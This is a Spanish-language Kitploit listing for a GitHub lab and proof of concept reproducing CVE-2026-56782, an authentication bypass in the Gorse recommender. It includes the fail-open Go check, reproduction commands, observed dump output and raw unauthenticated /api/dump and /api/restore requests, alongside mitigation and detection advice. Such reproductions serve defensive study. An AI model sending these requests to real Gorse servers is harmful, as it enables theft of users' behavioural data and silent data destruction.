Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-56782-Gorse-Auth-Bypass — CVE-2026-56782 — Gorse <0.5.10 volcado/restauración de BD no autenticado (admin_api_key fail-open). Laboratorio + PoC, verificado e2e. | Kitploit
Herramientas/GitHubGitHub/biitts/cve-2026-56782-gorse-auth-bypass
Análisis de VulnerabilidadesExplotaciónExfiltración de DatosSeguridad WebCTFPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónLabs y Práctica
GitHubbiitts/cve-2026-56782-gorse-auth-bypass

CVE-2026-56782-Gorse-Auth-Bypass

CVE-2026-56782 — Gorse <0.5.10 volcado/restauración de BD no autenticado (admin_api_key fail-open). Laboratorio + PoC, verificado e2e.

Ver Repositorio
19hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-56782 — Volcado y Restauración de Base de Datos No Autenticados en Gorse (Omisión de Autenticación)

Gorse < 0.5.10 se distribuye con admin_api_key = "". Los endpoints maestros HTTP /api/dump y /api/restore están protegidos por una verificación de administrador que falla abierto cuando no se configura ninguna clave — el valor predeterminado. Un atacante no autenticado y accesible por red puede exfiltrar todo el conjunto de datos (usuarios, elementos, comentarios / PII) o sobrescribirlo.

CVECVE-2026-56782
AfectadoGorse < 0.5.10
Corregido0.5.10
ClaseCWE-305 (Omisión de Autenticación por Debilidad Primaria) / CWE-306 (Autenticación Ausente)
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticaciónNinguna (por defecto admin_api_key está vacío)
EndpointsGET /api/dump, POST /api/restore (master HTTP, puerto predeterminado 8088)
EstadoCONFIRMADO — reproducido de extremo a extremo contra zhenghaoz/gorse-in-one:0.5.8

Causa raíz

master/rest.go protege los manejadores de volcado/restauración con checkAdmin():

func (m *Master) checkAdmin(request *http.Request) bool {
    if m.Config.Master.AdminAPIKey == "" {
        return true                 // <-- fail-open: no key configured => everyone is admin
    }
    if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
        return true
    }
    return false
}

func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // streams every user, item and feedback row
}

func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // m.Restore(request.Body) — overwrites the dataset
}

El archivo config/config.toml distribuido establece admin_api_key = "". Con la configuración predeterminada, checkAdmin() devuelve true para cada solicitud — el encabezado X-API-Key nunca se consulta — por lo que ambos endpoints son legibles y escribibles por cualquiera.

Impacto

  • Confidencialidad — GET /api/dump transmite la base de datos completa: cada ID de usuario y etiquetas, cada elemento, y todo el gráfico de retroalimentación (quién interactuó con qué). Para un sistema de recomendación que respalda un producto real, esto es un lote de datos personales / de comportamiento.
  • Integridad / Disponibilidad — POST /api/restore reemplaza el conjunto de datos con contenido proporcionado por el atacante, permitiendo el envenenamiento o destrucción silenciosa de datos.

Reproducir

# 1. Start the vulnerable server (official image, default config = no auth).
docker compose -f lab/docker-compose.yml up -d
#    --playground seeds a real users/items/feedback dataset to exfiltrate.

# 2. Run the PoC (no credentials).
python3 exploit.py http://127.0.0.1:8088 -o dump.bin

Observado:

[*] GET http://127.0.0.1:8088/api/dump  (no X-API-Key header)
[*] HTTP 200  content-type: application/octet-stream

[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED
    users    : 2079
    items    : 22320
    feedback : 331901
    payload  : 262747105 protobuf bytes
    sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973

[*] POST http://127.0.0.1:8088/api/restore  (no X-API-Key header, EOF-only body)
[+] HTTP 200 (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.

Un encabezado X-API-Key falso aún devuelve 200 — confirmando que la clave se ignora por completo cuando admin_api_key no está configurado (la ruta de fallo abierto), no solo que no coincide.

Solicitudes en bruto

GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream

<dump stream: int64 LE markers (-1 users, -2 items, -3 feedback, 0 EOF) + length-prefixed protobuf>

Mitigación

  • Actualice a Gorse ≥ 0.5.10, que elimina el fallo abierto de clave vacía de la verificación de administrador (una clave no configurada ya no otorga acceso).
  • Como medida temporal en versiones afectadas, establezca una admin_api_key segura (y credenciales de dashboard), termine TLS delante del maestro, y nunca exponga el puerto HTTP del maestro (8088) a redes no confiables.

Detección

Active alertas en GET /api/dump o POST /api/restore al puerto maestro desde cualquier cliente que carezca de un X-API-Key válido, y en respuestas grandes de application/octet-stream desde /api/dump.

Vea ANALYSIS.md para el flujo de solicitudes, el formato del flujo de volcado y el parche.


  • Autor: Caio Fabrício — github.com/BiiTts
  • El crédito de la vulnerabilidad pertenece al reportante original del CVE; este repositorio es una reproducción independiente para uso defensivo y educativo. Solo para pruebas de seguridad autorizadas.
Descargar herramienta